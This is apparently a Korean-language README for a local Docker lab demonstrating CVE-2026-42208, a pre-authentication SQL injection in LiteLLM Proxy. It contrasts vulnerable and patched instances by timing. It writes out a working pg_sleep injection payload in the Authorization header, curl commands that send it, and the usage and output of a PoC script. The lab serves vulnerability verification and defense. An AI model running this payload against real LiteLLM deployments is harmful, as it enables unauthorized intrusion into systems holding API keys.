
로컬 Docker 랩 및 CVE-2026-42208에 대한 타이밍 기반 개념 증명으로, LiteLLM 프록시의 사전 인증 SQL 인젝션을 시연하며 취약한 인스턴스와 패치된 인스턴스를 대조합니다.
CVE-2026-42208에 대한 로컬 Docker 랩 및 최소 피해 PoC입니다. 이는 LiteLLM Proxy의 API 키 검증 경로에서 발생하는 사전 인증 SQL 인젝션 취약점입니다.
이 저장소는 타이밍 기반 PostgreSQL pg_sleep() 증명을 사용하여 취약한 LiteLLM 인스턴스와 패치된 LiteLLM 인스턴스 간의 차이를 보여줍니다.
범위: 로컬 랩 / 승인된 테스트 전용입니다. 기본 PoC는 데이터베이스 데이터를 덤프하거나 수정하지 않습니다.
CVE-2026-42208은 LiteLLM Proxy 버전 1.81.16부터 1.83.7 이전 버전까지 영향을 미칩니다.
이 취약점은 LiteLLM API 엔드포인트로 전송되는 조작된 Authorization: Bearer ... 헤더를 통해 트리거됩니다. 영향을 받는 버전에서는 호출자가 제공한 토큰이 API 키 검증 중에 SQL 쿼리 경로에 도달할 수 있습니다.
이 랩은 다음을 비교합니다:
| 서비스 | 버전 | URL | 예상 결과 |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | 지연된 401 응답 |
patched | v1.83.7-stable | http://127.0.0.1:8082 | 빠른 401 응답 |
증명은 다음과 유사한 페이로드를 사용합니다:
' OR (SELECT pg_sleep(6)) IS NULL --
두 서비스 모두 HTTP 401을 반환해야 하지만, 취약한 인스턴스는 응답하는 데 약 6초가 걸리는 반면 패치된 인스턴스는 빠르게 응답해야 합니다.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> 취약한 LiteLLM -> PostgreSQL db-vuln
localhost:8082 -> 패치된 LiteLLM -> PostgreSQL db-patched
PostgreSQL 서비스는 내부 Docker 서비스이며 호스트에 노출되지 않습니다.
LiteLLM HTTP 포트만 노출됩니다:
| 호스트 포트 | 서비스 | 컨테이너 포트 |
|---|---|---|
8081 | 취약한 LiteLLM | 4000 |
8082 | 패치된 LiteLLM | 4000 |
docker compose up -d --build
서비스 상태 확인:
docker compose ps
예상 상태:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
취약한 인스턴스 테스트:
python3 poc/poc.py --url http://127.0.0.1:8081
패치된 인스턴스 테스트:
python3 poc/poc.py --url http://127.0.0.1:8082
--url 대상 기본 URL
--path 테스트할 API 경로. 기본값: /v1/chat/completions
--sleep pg_sleep() 초. 기본값: 6
--rounds 프로브 라운드 수. 기본값: 2
예시:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
취약한 인스턴스:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
패치된 인스턴스:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
이 랩의 예시 결과:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
중요한 관찰 사항은 두 서비스 모두 401을 반환하지만 취약한 서비스만 대략 pg_sleep() 시간만큼 지연된다는 것입니다.
이 저장소는 데이터 추출보다 안전하기 때문에 타이밍 증명을 사용합니다.
PoC는 응답 지연을 관찰하여 주입된 SQL 표현식이 평가되고 있음을 증명합니다. 데이터베이스 행을 덤프하거나, API 키를 추출하거나, 레코드를 수정하거나, 인증을 우회하려고 시도하지 않습니다.
취약한 서비스:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
패치된 서비스:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
예상 동작:
vulnerable -> 약 6초
patched -> 거의 즉시 응답
docker compose down -v
이 명령은 컨테이너, 네트워크 및 PostgreSQL 볼륨을 제거합니다.
이 랩은 로컬 및 승인된 테스트 전용입니다.
소유하지 않았거나 테스트 권한이 없는 시스템에 대해 PoC를 실행하지 마십시오.
이 랩에서 실제 제공업체 API 키 또는 프로덕션 LiteLLM 자격 증명을 사용하지 마십시오.
기본 PoC는 파괴적인 동작을 피하며 데이터베이스 내용을 추출하지 않습니다.